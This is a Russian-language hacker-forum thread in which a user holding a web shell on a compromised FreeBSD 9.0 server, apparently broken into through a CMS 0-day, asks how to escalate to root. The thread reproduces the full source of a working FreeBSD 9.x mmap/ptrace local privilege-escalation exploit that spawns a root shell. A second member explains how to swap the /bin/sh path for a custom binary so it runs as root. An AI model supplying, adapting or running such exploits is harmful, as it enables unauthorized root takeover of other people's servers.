Попячивание фряхи

Discussion in 'Песочница' started by ACat, 22 May 2017.

  1. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    159
    Likes Received:
    31
    Reputations:
    0
    Привет, ачат.

    В свете найденого мною 0-day в vi-site cms, с которым можно ознакомиться в соответствующем разделе возникла такая задачка.
    Дано:

    FreeBSD 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Wed Jun 27 17:24:21 EEST 2012 ellyt.com:/usr/obj/usr/src/sys/VM9 amd64

    бинд-порт и бэк-коннект, который предоставляется интерфейсом WSO не срабатывает.
    www 84881 0.0 0.1 16424 1232 ?? S 5:30PM 0:00.00 grep bp

    Как бы зацепиться, что бы выполнить сплоит? http://0day.today/exploit/20918

    Всем мир.
     
  2. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    830
    Likes Received:
    814
    Reputations:
    90
    вариант чуть потюнить сплоит чтобы он запускал другой бинарник не рассматривается?
     
    _________________________
    ACat likes this.
  3. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    159
    Likes Received:
    31
    Reputations:
    0
    разрешите выполнять, тврщ плквнк
     
  4. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    159
    Likes Received:
    31
    Reputations:
    0
    Товарищ, помогайте, будьте любезны.

    Code:
    /*
    * FreeBSD 9.{0,1} mmap/ptrace exploit
    * by Hunger <fbsd9lul@hunger.hu>
    *
    * Happy Birthday FreeBSD!
    * Now you are 20 years old and your security is the same as 20 years ago... :)
    *
    * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof,
    *              sd, sghctoma, snq, spender, s2crew and others at #hekkcamp:
    *                      I hope we'll meet again at 8@1470n ;)
    *
    * Special thanks to proactivesec.com
    *
    */
    #include <err.h>
    #include <errno.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/ptrace.h>
    #include <sys/wait.h>
    #define SH "/bin/sh"
    #define TG "/usr/sbin/timedc"
    int
    main(int ac, char **av) {
       int from_fd, to_fd, status;
       struct stat st;
       struct ptrace_io_desc piod;
       char *s, *d;
       pid_t pid;
       if (geteuid() == 0)  {
            setuid(0);
            execl(SH, SH, NULL);
            return 0;
       }
       printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
       printf("by Hunger <fbsd9lul@hunger.hu>\n");
       if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
            (to_fd = open(TG, O_RDONLY)) == -1)
                    err(1, "open");
       if (stat(av[0], &st) == -1)
            err(2, "stat");
       if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
            MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
                    (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
                            MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED)
                                    err(3, "mmap");
       if ((pid = fork()) == -1)
            err(4, "fork");
       if (!pid) {
            if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
                    err(5, "ptraceme");
            return 0;
            }
       if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
            err(6, "ptattach");
       if (wait(&status) == -1)
            err(7, "wait");
       piod.piod_op = PIOD_WRITE_D;
       piod.piod_offs = d;
       piod.piod_addr = s;
       piod.piod_len  = st.st_size;
       if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
            err(8, "ptio");
       execl(TG, TG, NULL);
       return 0;
    }


    на сколько я понимаю вот тут
    if (geteuid() == 0) {
    setuid(0);
    execl(SH, SH, NULL);
    return 0;
    }
    и происходит основное.
    Допустим, мне нужно сделать суидный файл, который будет выполнять передаваемое ему значение как команду.
    То есть мне надо скомпилить прожку для начала. я не знаю ЯП, помогайте.

    string a;
    cin>>a;
    exec(a);

    а дальше мне надо в сплоите поменять execl(SH, SH, NULL); на что-то другоее
    на что? exec(SH, 'chown ./shell', NULL);

    правильно?
     
  5. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    830
    Likes Received:
    814
    Reputations:
    90
    не факт что подскажу тебе правильно

    смотри

    Code:
    #define SH "/bin/sh"
    .....
    if (geteuid() == 0)  {
            setuid(0);
            execl(SH, SH, NULL);
            return 0;
       }
    ....
    if ((pid = fork()) == -1)
            err(4, "fork");
       if (!pid) {
            if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
                    err(5, "ptraceme");
            return 0;
            }
    ....
    
    процесс форкается, проверяет уид, если 0( root ) то запускает SH ( /bin/sh )

    скомпиль свой бинарь со своей начинкой, и замени путь "#define SH "/bin/sh"
     
    _________________________
    Veil and altblitz like this.
  6. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    159
    Likes Received:
    31
    Reputations:
    0
    точняяяяк